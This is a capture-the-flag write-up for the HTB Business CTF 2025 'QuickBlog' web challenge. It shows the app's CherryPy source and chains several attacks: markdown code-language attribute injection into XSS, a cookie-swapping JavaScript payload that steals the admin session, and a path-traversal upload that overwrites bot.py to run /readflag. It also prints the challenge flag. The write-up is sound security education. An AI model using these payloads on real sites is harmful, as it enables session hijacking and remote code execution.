HTB Business CTF 2025 - QuickBlog
Description
Author: DrBrad
I have made a new blog with a custom markdown parser, can you help me with the pentesting part?
Solution
Initial Look
Facing the challenge, we are presented with a simple registration page.
Upon registering and logging in, we are greeted with an announcements page that contains many posts. We are also able to create new posts.
Let’s take a look at the source code.
Source Code Analysis
This is a Python application using CherryPy as the web framework. The application is structured in a way that allows us to easily navigate through the code. The main files of interest are:
Dockerfile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
FROM python:3.11-alpine
# Install dependencies
RUN apk add --update --no-cache gcc build-base musl-dev supervisor chromium chromium-chromedriver
# Add chromium to PATH
ENV PATH="/usr/lib/chromium:${PATH}"
# Copy flag
COPY flag.txt /flag.txt
# Upgrade pip
RUN python -m pip install --upgrade pip
# Setup app
RUN mkdir -p /app
# Add application
WORKDIR /app
COPY challenge .
# Install dependencies
RUN pip install --no-cache-dir -r requirements.txt
# Setup supervisord
COPY conf/supervisord.conf /etc/supervisord.conf
# Setup readflag program
COPY conf/readflag.c /
RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c
# Expose port
EXPOSE 1337
# Prevent outbound traffic
ENV http_proxy="http://127.0.0.1:9999"
ENV https_proxy="http://127.0.0.1:9999"
ENV HTTP_PROXY="http://127.0.0.1:9999"
ENV HTTPS_PROXY="http://127.0.0.1:9999"
ENV no_proxy="127.0.0.1,localhost"
# Create entrypoint and start supervisord
COPY --chown=root entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
This Dockerfile sets up a Python environment with CherryPy and other dependencies. It also includes a readflag
program that is set to run with elevated privileges (setuid). This is a hint that getting the flag will require RCE. We also notice that outbound traffic is blocked by setting the http_proxy
and https_proxy
environment variables to a local proxy.
entrypoint.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh
# Random password function
function genPass() {
echo -n $RANDOM | md5sum | head -c 32
}
# Set environment variables
export ADMIN_PASSWORD=$(genPass)
# Change flag name
mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txt
# Secure entrypoint
chmod 600 /entrypoint.sh
# Launch supervisord
/usr/bin/supervisord -c /etc/supervisord.conf
This script generates a random password for the admin user and renames the flag file to a random name. It also secures the entrypoint script by setting its permissions to 600
, preventing it from being executed by anyone other than the owner.
bot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import os, time, random, threading
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
def bot_runner():
chrome_options = Options()
chrome_options.add_argument("headless")
chrome_options.add_argument("no-sandbox")
chrome_options.add_argument("ignore-certificate-errors")
chrome_options.add_argument("disable-dev-shm-usage")
chrome_options.add_argument("disable-infobars")
chrome_options.add_argument("disable-background-networking")
chrome_options.add_argument("disable-default-apps")
chrome_options.add_argument("disable-extensions")
chrome_options.add_argument("disable-gpu")
chrome_options.add_argument("disable-sync")
chrome_options.add_argument("disable-translate")
chrome_options.add_argument("hide-scrollbars")
chrome_options.add_argument("metrics-recording-only")
chrome_options.add_argument("no-first-run")
chrome_options.add_argument("safebrowsing-disable-auto-update")
chrome_options.add_argument("media-cache-size=1")
chrome_options.add_argument("disk-cache-size=1")
client = webdriver.Chrome(options=chrome_options)
client.get("http://127.0.0.1:1337/login")
time.sleep(3)
client.find_element(By.ID, "username").send_keys("admin_user")
client.find_element(By.ID, "password").send_keys(os.getenv("ADMIN_PASSWORD"))
client.execute_script("document.getElementById('loginButton').click()")
time.sleep(3)
time.sleep(10)
client.quit()
def bot_thread():
thread = threading.Thread(target=bot_runner)
thread.start()
return thread
This is the admin bot that logs in to the application using the credentials generated in the entrypoint.sh
script. It uses Selenium to automate the login process and then waits for 10 seconds before quitting the browser.
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
import os, re, base64, json, cherrypy
from datetime import datetime
from apscheduler.schedulers.background import BackgroundScheduler
from util.bot import bot_thread
users = {
'admin_user': os.getenv('ADMIN_PASSWORD'),
}
admin_users = {'admin_user'}
...
uploads_dir = os.path.join(os.getcwd(), 'uploads')
os.makedirs(uploads_dir, exist_ok=True)
sessions_folder = os.path.join(os.getcwd(), 'sessions')
os.makedirs(sessions_folder, exist_ok=True)
def validate_input(input_str):
if re.match(r'^[a-z_]+$', input_str):
return True
return False
def is_admin(username):
return username in admin_users
class BlogAPI:
@cherrypy.expose
def index(self):
username = cherrypy.session.get('username')
if not username:
raise cherrypy.HTTPRedirect('/login')
posts_html = []
for post in sorted(posts, key=lambda x: x['timestamp'], reverse=True):
posts_html.append(f'''
<article class="post-item" data-post-id="{post['id']}">
<h2 class="post-title">{post['title']}</h2>
<div class="post-meta">By <span class="post-author">{post['author']}</span> on <span class="post-timestamp">{post['timestamp']}</span></div>
<preview>
<div class="markdown-content">Loading...</div>
</preview>
</article>
''')
admin_link = '<a href="/admin" class="button">Admin Page</a>' if is_admin(username) else ''
return self.render_template(f'''
<div class="header">
<h1>Welcome, {username}</h1>
<nav>
<a href="/new_post" class="button">Create New Post</a>
{admin_link}
<a href="/logout" class="button">Logout</a>
</nav>
</div>
<div class="posts">
{''.join(posts_html) if posts_html else '<p>No posts yet!</p>'}
</div>
''')
@cherrypy.expose
def admin(self):
username = cherrypy.session.get('username')
if not username or not is_admin(username):
raise cherrypy.HTTPRedirect('/login')
return self.render_template(f'''
<div class="admin-page">
<div class="header">
<h1 class="admin-title">Admin Page</h1>
<a href="/" class="button button-back">Back to Home</a>
</div>
<div class="content admin-content">
<p>Welcome to the admin page, {username}.</p>
<p>Here you can manage the blog.</p>
<a href="/uploads" class="button button-uploads">View Uploads Directory</a>
<form method="post" action="/upload_file" enctype="multipart/form-data" class="form form-upload">
<label for="file" class="form-label">Upload File:</label>
<input type="file" name="file" class="upload-input" required />
<button type="submit" class="button button-upload">Upload</button>
</form>
</div>
</div>
''')
@cherrypy.expose
def uploads(self):
username = cherrypy.session.get('username')
if not username or not is_admin(username):
raise cherrypy.HTTPRedirect('/login')
files = os.listdir(uploads_dir)
files_html = ''.join(f'<li><a class="link futuristic-link" href="/uploads/{file}">{file}</a></li>' for file in files)
return self.render_template(f'''
<div class="header">
<h1>Uploads Directory</h1>
<a href="/admin" class="button">Back to Admin</a>
</div>
<ul>
{files_html}
</ul>
''')
@cherrypy.expose
def upload_file(self, file):
username = cherrypy.session.get('username')
if not username or not is_admin(username):
raise cherrypy.HTTPRedirect('/login')
remote_addr = cherrypy.request.remote.ip
if remote_addr in ['127.0.0.1', '::1']:
return self.render_template('''
<div class="error">
File uploads from localhost are not allowed.
<br><a class="link futuristic-link" href="/admin">Back to Admin</a>
</div>
''')
upload_path = os.path.join(uploads_dir, file.filename)
with open(upload_path, 'wb') as f:
while chunk := file.file.read(8192):
f.write(chunk)
raise cherrypy.HTTPRedirect('/admin')
@cherrypy.expose
@cherrypy.tools.json_out()
def get_post_content(self, post_id):
post_id = int(post_id)
post = next((p for p in posts if p['id'] == post_id), None)
if post:
try:
return {'content': post['content']}
except:
return {'error': 'Could not decode content'}
return {'error': 'Post not found'}
@cherrypy.expose
def login(self, username=None, password=None):
if username is None or password is None:
return self.render_template('''
<div class="auth-form">
<h1 class="auth-title">Login</h1>
<form method="post" action="/login" class="form form-login">
<div class="form-group">
<label for="username" class="form-label">Username:</label>
<input type="text" name="username" id="username" class="form-input" required />
</div>
<div class="form-group">
<label for="password" class="form-label">Password:</label>
<input type="password" name="password" id="password" class="form-input" required />
</div>
<button type="submit" class="button button-login" id="loginButton">Login</button>
</form>
<p class="auth-link">Don't have an account? <a href="/register" class="link futuristic-link">Register</a></p>
</div>
''')
if validate_input(username) and username in users and users[username] == password:
cherrypy.session['username'] = username
raise cherrypy.HTTPRedirect('/')
raise cherrypy.HTTPRedirect('/login')
@cherrypy.expose
def register(self, username=None, password=None):
if username is None or password is None:
return self.render_template('''
<h1>Register</h1>
<form method="post" action="/register">
<div class="form-group">
<label>Username:</label>
<input type="text" name="username" class="form-input" required />
</div>
<div class="form-group">
<label>Password:</label>
<input type="password" name="password" class="form-input" required />
</div>
<button type="submit" class="button button-login">Register</button>
</form>
<p>Already have an account? <a class="link futuristic-link" href="/login">Login</a></p>
''')
if validate_input(username) and username not in users:
users[username] = password
cherrypy.session['username'] = username
raise cherrypy.HTTPRedirect('/')
raise cherrypy.HTTPRedirect('/register')
@cherrypy.expose
def logout(self):
cherrypy.session.pop('username', None)
raise cherrypy.HTTPRedirect('/login')
@cherrypy.expose
def new_post(self, title=None, content=None):
username = cherrypy.session.get('username')
if not username:
raise cherrypy.HTTPRedirect('/login')
if title is None or content is None:
return self.render_template('''
<div class="header">
<h1>Create New Post</h1>
<a href="/" class="button">Back to Posts</a>
</div>
<form method="post" action="/new_post" class="post-form">
<div class="form-group">
<label>Title:</label>
<input type="text" name="title" required />
</div>
<div class="form-group">
<label>Content (Automatically base64 encoded):</label>
<textarea name="content" required rows="10"></textarea>
</div>
<button type="submit" class="button button-login">Create Post</button>
</form>
<script>
document.querySelector('form').addEventListener('submit', function(e) {
e.preventDefault();
const contentArea = document.querySelector('textarea[name="content"]');
const rawContent = contentArea.value;
contentArea.value = btoa(rawContent);
this.submit();
});
</script>
''')
else:
if not validate_input(title):
return self.render_template('''
<div class="error">
Invalid title. Titles can only contain lowercase letters, numbers, and underscores.
<br><a class="link futuristic-link" href="/new_post">Try again</a>
</div>
''')
if is_admin(username):
return self.render_template('''
<div class="error">
Admin posting is disabled
<br><a class="link futuristic-link" href="/">Home</a>
</div>
''')
global post_counter
post_counter += 1
posts.append({
'id': post_counter,
'title': title,
'content': content,
'author': username,
'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M')
})
raise cherrypy.HTTPRedirect('/')
def render_template(self, content):
return f'''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Operation Blackout Announcements</title>
<link rel="stylesheet" href="/static/css/style.css">
<link rel="stylesheet" href="/static/css/crt.css">
<link rel="stylesheet" href="/static/css/markdown.css">
<link rel="icon" href="/static/img/icon.png" type="image/png" />
</head>
<body class="crt">
<header class="app-header">
<div class="container">
<h1 class="app-title">Operation Blackout Announcements</h1>
</div>
</header>
<main class="main-content container">
{content}
</main>
<footer class="app-footer">
<div class="container">
<p>© {datetime.now().year} Operation Blackout Announcements. All rights reserved.</p>
</div>
</footer>
<script src="/static/js/markdown2html.js"></script>
<script src="/static/js/app.js"></script>
</body>
</html>
'''
if __name__ == '__main__':
static_dir = os.path.join(os.getcwd(), 'static')
config = {
'/': {
'tools.sessions.on': True,
'tools.sessions.storage_type': 'file',
'tools.sessions.storage_path': sessions_folder,
'tools.response_headers.on': True,
'tools.response_headers.headers': [
('Content-Security-Policy', "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self'; img-src 'self'; connect-src 'self';")
],
},
'/static': {
'tools.staticdir.on': True,
'tools.staticdir.dir': static_dir,
},
'/uploads': {
'tools.staticdir.on': True,
'tools.staticdir.dir': uploads_dir,
}
}
cherrypy.config.update({'server.socket_host': '0.0.0.0'})
cherrypy.config.update({'server.socket_port': 1337})
scheduler = BackgroundScheduler()
scheduler.add_job(bot_thread, 'interval', minutes=1, id='bot_thread_job', replace_existing=True)
scheduler.start()
cherrypy.quickstart(BlogAPI(), '/', config)
This is the main application code that handles the blog functionality. It includes routes for viewing posts, creating new posts, logging in, registering, and admin functionalities. The code also includes a scheduler that runs the admin bot every minute to keep the admin user logged in.
Digging Deeper
Let’s analyze the endpoints one by one.
/index
This endpoint displays the list of posts. It checks if the user is logged in and renders the posts in HTML format.
/admin
This endpoint is accessible only to admin users. It allows the admin to view the uploads directory and upload files. The uploaded files are stored in the uploads
directory.
/uploads
This endpoint lists the files in the uploads
directory. It is accessible only to admin users.
/upload_file
This endpoint handles file uploads. It checks if the user is an admin and saves the uploaded file to the uploads
directory. If the upload request comes from localhost, it returns an error message. There is also a vulnerability here:
1
upload_path = os.path.join(uploads_dir, file.filename)
This line does not sanitize the filename, allowing for Path Traversal attacks. An attacker could upload a file with a name like ../../../../app/app.py
to overwrite the app.py
file. So we have arbitrary file write.
/get_post_content
This endpoint retrieves the content of a post by its ID. It returns the content in JSON format. If the post is not found, it returns an error message.
/login
This endpoint handles user login. It checks if the provided username and password match the stored credentials. If they do, it sets the session variable username
and redirects to the index page. If the credentials are invalid, it redirects back to the login page.
/register
This endpoint handles user registration. It checks if the provided username is valid and not already taken. If the registration is successful, it sets the session variable username
and redirects to the index page. If the username is invalid or already taken, it redirects back to the registration page.
/logout
This endpoint logs out the user by removing the username
session variable and redirecting to the login page.
/new_post
This endpoint allows users to create new posts. It checks if the user is logged in and renders a form for creating a new post. When the form is submitted, it validates the title and content, and adds the new post to the posts
list. If the user is an admin, posting is disabled.
Breaking the Markdown Parser
So far, we know that if we manage to steal the admin credentials or session, we can access the admin page and upload files thus overwriting a file in the application leading to RCE.
In order to steal the admin session, the most straightforward way is to try to find an Cross-Site Scripting (XSS) vulnerability. If we can inject JS code into a post, the admin bot logs in as the admin user every minute and views the posts, the XSS payload will execute in the context of the admin user, allowing us to steal the session cookie or any other sensitive information.
Let’s analyze the markdown2html.js
file included in the application. This file is responsible for converting Markdown content to HTML and seems custom.
markdown2html.js
There are many functions in this file, but most of them seem safe. The most interesting part is how it handles code blocks:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (line.startsWith('```')) {
inCodeBlock = !inCodeBlock;
if (inCodeBlock) {
if (processedLines.length > 0) {
processedLines[processedLines.length - 1] += '</p>';
}
codeLanguage = (line.slice(3) == '') ? 'plain' : line.slice(3).toLowerCase();
const previousLine = lines[i + 1];
const uuid = uniqid();
codeLines.push(`<code-header>${getLanguageKey(codeLanguage)}<button class='copy' type='button' onclick="navigator.clipboard.writeText(document.getElementById('${uuid}').textContent)"><svg viewBox='0 0 24 24'><path d='M16 1H4c-1.1 0-2 .9-2 2v14h2V3h12V1zm3 4H8c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h11c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2zm0 16H8V7h11v14z' /></svg></button></code-header>`);
codeLines.push(`<pre language='${codeLanguage}'><code id='${uuid}'>${tokenizeLine(codeLanguage, previousLine)}</code>`);
i += 2;
continue;
}
...
}
It extracts the code language from the line and then uses it without any sanitization or validation. This means that we can use '
in the language to break out of the string and inject our attrbutes into the <pre>
tag.
Let’s try it with a simple payload:
1
2
3
```language' marios='injected
MariosK1574
```
This should inject the marios
attribute with value injected
into the <pre>
tag.
Escalating to XSS
Let’s check portswigger’s XSS cheatsheet to see how we can escalate this to a full XSS attack.
We found this payload that could work:
1
<pre onfocus=alert(1) autofocus tabindex=1>
So we have to send the following payload in a post:
1
2
3
```language' onfocus=alert('XSS') autofocus tabindex='1
MariosK1574
```
Let’s try it out.
Perfect! We have successfully triggered our XSS payload. This means that when the admin bot visits the post, it will execute our JavaScript code.
Hijacking the Admin Session
Now that we have a working XSS payload, someone might think that is pretty straightforward how to steal the admin session. However, the application has the following protections in place:
- Blocking outbound traffic
- Admin user not allowed to create posts
- Admin user is not allowed to upload files from localhost
So we have to be creative in order to bypass these protections.
After some thinking, we came up with the following idea. We can copy the admin’s cookie into a cookie with a different name, and then set the session cookie to the value of a normal user. If we do this, we will still have access to the admin’s cookie and we will be able to create posts (since the session cookie will no longer be that of the admin, but of a normal user), so we will create a post with the admin’s session cookie.
1
2
3
4
const admin_cookie=document.cookie.split('=')[1];
document.cookie='session_id=COOKIE_OF_NORMAL_USER';
document.cookie = 'admin_cookie=' + admin_cookie;
fetch("/new_post",{"headers":{"content-type":"application/x-www-form-urlencoded"},"body":`title=xss&content=${btoa(document.cookie)}`,"method": "POST","credentials":"include"});
Now the post should look like this:
1
2
3
4
```language' onfocus='const admin_cookie=document.cookie.split('=')[1];document.cookie='session_id=0caab03ce2fa36a30699b025457b1ef4bd717c61';document.cookie = 'admin_cookie=' + admin_cookie;fetch("/new_post",{"headers":{"content-type":"application/x-www-form-urlencoded"},"body":`title=xss&content=${btoa(document.cookie)}`,"method": "POST","credentials":"include"});' autofocus tabindex='1
MariosK1574
```
Note: We used CyberChef to encode the payload in HTML Entity format to avoid any issues with the Markdown parser (e.g converting everything to lowercase).
After about a minute, we see the post created by the admin bot with the admin’s session cookie in the content. Now we can use this cookie to access the admin page.
The Last Piece of the Puzzle
Now that we have access to the admin page, we can upload files. Let’s try to overwrite a static file like style.css
and see how CherryPy reacts.
We did not get any error, so let’s check the style.css
file in the static/css
directory.
Perfect! We have successfully overwritten the style.css
file with our own content. Now let’s try to overwrite a file that is more critical and could lead to RCE. One option is to overwrite the bot.py
file. This file is executed every minute by the scheduler, so if we manage to inject our own code, we can achieve RCE.
This should be the malicious bot.py
file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os, threading
def bot_runner():
command = "/readflag"
output_file = "/app/static/js/out.js"
os.system(f"{command} > {output_file}")
with open(output_file, 'r') as f:
output = f.read()
return output
def bot_thread():
thread = threading.Thread(target=bot_runner)
thread.start()
return thread
This code will execute the readflag
program, which is setuid and has the permissions to read the flag file. The output will be written to a file called out.js
in the static/js
directory.
Let’s try to upload this file and see if it works.
File uploaded successfully! Let’s check the logs to see how CherryPy handled the file upload.
So the application is restarting because it noticed a change in the bot.py
file. This is good news, as it means that our malicious code will be executed by the scheduler in the next minutes.
Let’s give the application some time to stabilize and then check the out.js
file in the static/js
directory.
And bam! We have the flag in the out.js
file.
The flag is: HTB{t0ugh_luck_tough3r_s3s510ns_ffe4deb94f266890fd7cec2569801611}
Conclusion
This was a fun challenge that required us to think outside the box and use our knowledge of web security to exploit the application. We managed to solve the challenge but after the CTF ended, we realized that 50% of our approach was unintended. It’s always satisfying to find vulnerabilities in a challenge even the authors did not intend to include.